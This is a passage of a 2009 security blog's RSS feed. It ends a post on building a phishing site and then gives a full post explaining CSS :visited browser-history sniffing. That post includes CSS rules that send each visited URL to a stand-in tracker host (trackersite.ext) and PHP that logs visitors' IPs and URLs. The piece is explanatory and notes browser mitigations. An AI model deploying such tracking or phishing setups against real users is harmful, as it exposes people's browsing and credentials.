<div id="attachment_494" class="wp-caption aligncenter" style="width: 310px"><a href="http://infinity-infinity.com/wp-content/uploads/2009/10/phishing-paypal-phished-email.jpg"><img class="size-medium wp-image-494" title="phishing-paypal-phished-email" src="http://infinity-infinity.com/wp-content/uploads/2009/10/phishing-paypal-phished-email-300x289.jpg" alt="Phished PayPal e-mail" width="300" height="289" /></a><p class="wp-caption-text">Phished PayPal e-mail</p></div>
<span id="Attack_Demo"><h3>Attack Demo</h3></span>
<p>Everything we need is now in place. After just ~650 words, you know how to create a phishing site. It may be shocking to find that all you need to create a phishing site is some common sense and the ability to copy and paste some code. In reality, it took me just 3-4 hours to create this. Here is a video demonstration from a victim&#8217;s perspective:</p>
<p><object width="560" height="340"><param name="movie" value="http://www.youtube.com/v/8yE0ZVXJtPk&#038;hl=en&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/8yE0ZVXJtPk&#038;hl=en&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://infinity-infinity.com/2009/10/how-to-run-a-phishing-scam/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Sniffing Browser History with CSS</title>
		<link>http://infinity-infinity.com/2009/06/sniffing-browser-history-with-css/</link>
		<comments>http://infinity-infinity.com/2009/06/sniffing-browser-history-with-css/#comments</comments>
		<pubDate>Sat, 20 Jun 2009 11:08:07 +0000</pubDate>
		<dc:creator>Brendon</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[browser]]></category>
		<category><![CDATA[css]]></category>

		<guid isPermaLink="false">http://infinity-infinity.com/?p=36</guid>
		<description><![CDATA[Have a look at this page: http://making-the-web.com/misc/sites-you-visit/nojs/. It will fairly quickly and effectively generate a list of sites that you have visited. This proof of concept demonstrates how basic logic in CSS (Cascading Style Sheets) can be used to query a browser to whether a visitor has visited another web page. More generally, it shows [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Finfinity-infinity.com%2F2009%2F06%2Fsniffing-browser-history-with-css%2F"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Finfinity-infinity.com%2F2009%2F06%2Fsniffing-browser-history-with-css%2F" height="61" width="51" /></a></div><p>Have a look at this page: <a href="http://making-the-web.com/misc/sites-you-visit/nojs/">http://making-the-web.com/misc/sites-you-visit/nojs/</a>. It will fairly quickly and effectively generate a list of sites that <em>you</em> have visited.</p>
<p>This proof of concept demonstrates how basic logic in CSS (Cascading Style Sheets) can be used to query a browser to whether a visitor has visited another web page. More generally, it shows that even simple logic in technology has the possibility of being exploited. Although the data used in this example seems rather unimportant, when used to profile a user&#8217;s likes and dislikes, for example, it quickly turns from &#8220;data&#8221; to personal information.<span id="more-36"></span></p>
<span id="The_CSS_Logic"><h3>The CSS Logic</h3></span>
<p>Fundamentally, this PoC relies on pure CSS. Take, for example, the following CSS&#8230;</p>

<div class="wp_syntax"><div class="code"><pre class="css" style="font-family:monospace;"><span style="color: #cc00cc;">#link1</span> <span style="color: #00AA00;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span> <span style="color: #000000; font-weight: bold;">blue</span><span style="color: #00AA00;">;</span>
<span style="color: #00AA00;">&#125;</span>
<span style="color: #cc00cc;">#link1</span><span style="color: #3333ff;">:visited </span><span style="color: #00AA00;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">red</span><span style="color: #00AA00;">;</span>
<span style="color: #00AA00;">&#125;</span></pre></div></div>

<p>&#8230;applied to this:</p>

<div class="wp_syntax"><div class="code"><pre class="html4strict" style="font-family:monospace;"><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">a</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;link1&quot;</span> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://google.com/&quot;</span>&gt;</span>Visit Google!<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">a</span>&gt;</span></pre></div></div>

<p>From the above, you can deduce that &#8220;Visit Google!&#8221; will show up blue, by default; the exception to this is when the visitor has visited http://google.com/: the link will show up red. Seems innocent enough, right?</p>
<p>Consider, instead, this:</p>

<div class="wp_syntax"><div class="code"><pre class="css" style="font-family:monospace;"><span style="color: #cc00cc;">#link1</span> <span style="color: #00AA00;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span> <span style="color: #000000; font-weight: bold;">blue</span><span style="color: #00AA00;">;</span>
<span style="color: #00AA00;">&#125;</span>
<span style="color: #cc00cc;">#link1</span><span style="color: #3333ff;">:visited </span><span style="color: #00AA00;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">red</span><span style="color: #00AA00;">;</span>
	<span style="color: #000000; font-weight: bold;">background</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">url</span><span style="color: #00AA00;">&#40;</span><span style="color: #ff0000; font-style: italic;">http://trackersite.ext/track.php?url=google.com</span><span style="color: #00AA00;">&#41;</span><span style="color: #00AA00;">;</span>
<span style="color: #00AA00;">&#125;</span></pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="html4strict" style="font-family:monospace;"><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">a</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;link1&quot;</span> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://google.com/&quot;</span>&gt;</span>Visit Google!<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">a</span>&gt;</span></pre></div></div>

<p>As before, the link will show up blue by default. If the user has visited http://google.com/, it will show up red. However, it also displays a background image for the link. Obviously, to get the background image, the browser has to request it from the server — in doing this, it innocently sends additional information along with the request: <code>?url=google.com</code>.</p>
<span id="The_Server_Side_Code"><h3>The Server Side Code</h3></span>
<p>You have probably noticed that the background image doesn&#8217;t go to an actual image: .png, .gif, etc. Instead, it loads a PHP script. This script has the potential to log the sites a user has visited. Consider the following PHP:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #666666; font-style: italic;">/* ... */</span>
<span style="color: #000088;">$ip</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;REMOTE_ADDR&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// the user's IP address</span>
<span style="color: #000088;">$url</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;url&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// the URL they have visited</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// log the information in the database table</span>
<span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;INSERT INTO trackdb.log (ip, url) VALUES
	(<span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span> <span style="color: #339933;">.</span> <span style="color: #990000;">mysql_real_escape_string</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ip</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\&quot;</span>,
	<span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span> <span style="color: #339933;">.</span> <span style="color: #990000;">mysql_real_escape_string</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\&quot;</span>)&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<span id="Querying_the_browser8230"><h3>Querying the browser&#8230;</h3></span>
<p>Now that we know how to query the browser for one link, we can do it for many links:</p>

<div class="wp_syntax"><div class="code"><pre class="css" style="font-family:monospace;"><span style="color: #cc00cc;">#link1</span><span style="color: #3333ff;">:visited </span><span style="color: #00AA00;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">background</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">url</span><span style="color: #00AA00;">&#40;</span><span style="color: #ff0000; font-style: italic;">http://trackersite.ext/track.php?url=google.com</span><span style="color: #00AA00;">&#41;</span><span style="color: #00AA00;">;</span>
<span style="color: #00AA00;">&#125;</span>
<span style="color: #cc00cc;">#link2</span><span style="color: #3333ff;">:visited </span><span style="color: #00AA00;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">background</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">url</span><span style="color: #00AA00;">&#40;</span><span style="color: #ff0000; font-style: italic;">http://trackersite.ext/track.php?url=yahoo.com</span><span style="color: #00AA00;">&#41;</span><span style="color: #00AA00;">;</span>
<span style="color: #00AA00;">&#125;</span>
<span style="color: #cc00cc;">#link3</span><span style="color: #3333ff;">:visited </span><span style="color: #00AA00;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">background</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">url</span><span style="color: #00AA00;">&#40;</span><span style="color: #ff0000; font-style: italic;">http://trackersite.ext/track.php?url=amazon.com</span><span style="color: #00AA00;">&#41;</span><span style="color: #00AA00;">;</span>
<span style="color: #00AA00;">&#125;</span>
<span style="color: #cc00cc;">#link4</span><span style="color: #3333ff;">:visited </span><span style="color: #00AA00;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">background</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">url</span><span style="color: #00AA00;">&#40;</span><span style="color: #ff0000; font-style: italic;">http://trackersite.ext/track.php?url=php.net</span><span style="color: #00AA00;">&#41;</span><span style="color: #00AA00;">;</span>
<span style="color: #00AA00;">&#125;</span>
<span style="color: #808080; font-style: italic;">/* etc */</span></pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="html4strict" style="font-family:monospace;"><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">a</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;link1&quot;</span> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://google.com/&quot;</span>&gt;</span>a<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">a</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">a</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;link2&quot;</span> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://yahoo.com/&quot;</span>&gt;</span>a<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">a</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">a</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;link3&quot;</span> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://amazon.com/&quot;</span>&gt;</span>a<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">a</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">a</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;link4&quot;</span> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://php.net/&quot;</span>&gt;</span>a<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">a</span>&gt;</span>
<span style="color: #808080; font-style: italic;">&lt;!-- etc --&gt;</span></pre></div></div>

<p>And it&#8217;s that easy! Just put thousands of links in, and you have the ability to find hundreds of pages that a user has visited.</p>
<span id="How_the_PoC_works"><h3>How the PoC works</h3></span>
<p>The <a href="http://making-the-web.com/misc/sites-you-visit/nojs/">PoC</a> works as above, fundamentally. In order to check thousands of links, it uses publicly available data from <a href="http://alexa.com">Alexa</a> and <a href="http://developer.yahoo.com">Yahoo! API</a>.</p>
<p>Firstly, it scans for website homepages, as provided by Alexa. So http://google.com/, http://yahoo.com/, http://msn.com/, etc. It logs any visit to the server.</p>
<p>Secondly, it scans for individual site pages, such as http://google.com/cookies.html, http://google.com/adsense/, http://yahoo.com/uk/, etc. It will only scan a site&#8217;s pages if the site&#8217;s homepage was visited (ie, http://google.com/cookies.html will not be queried if http://google.com/ was not visited). To get the list of a site&#8217;s pages, it simply does a <em>site:domain.ext</em> query via the Yahoo! API.</p>
<p>Because it can detect 40 million pages, theoretically, it performs querying in &#8220;batch mode&#8221;: it might check 2,000 pages, and then use a META refresh to scan the next 2,000, and so on.</p>
<p>The PoC demonstrates this functionality using pure CSS and HTML. <a href="http://making-the-web.com/misc/sites-you-visit">It could also use AJAX</a> with Javascript to load lists, rather than using Iframes and refreshes.</p>
<span id="The_Implications"><h3>The Implications</h3></span>
<p>This exploit currently has the potential to be used in tracking website visitor&#8217;s likes and dislikes. This could then in turn be used to display advertisements targeted towards the user. For example, if you know a user has been visiting car-related web pages, you could display an advert for cars, which is likely to get a higher CTR (or click-through probability) than an advert for gardening equipment (unless they also visited sites related to this).</p>
<p>Naturally, many people will consider this information <em>personal </em>when used in this way, and are concerned about how the data is and could be used. Browsers and plugins are likely to reduce the effect of this exploit. (Firefox will be coming with an option to disable the :visited selector)</p>
]]></content:encoded>
			<wfw:commentRss>http://infinity-infinity.com/2009/06/sniffing-browser-history-with-css/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
	</channel>
</rss>
<!-- WP Super Cache is installed but broken. The path to wp-cache-phase1.php in wp-content/advanced-cache.php must be fixed! -->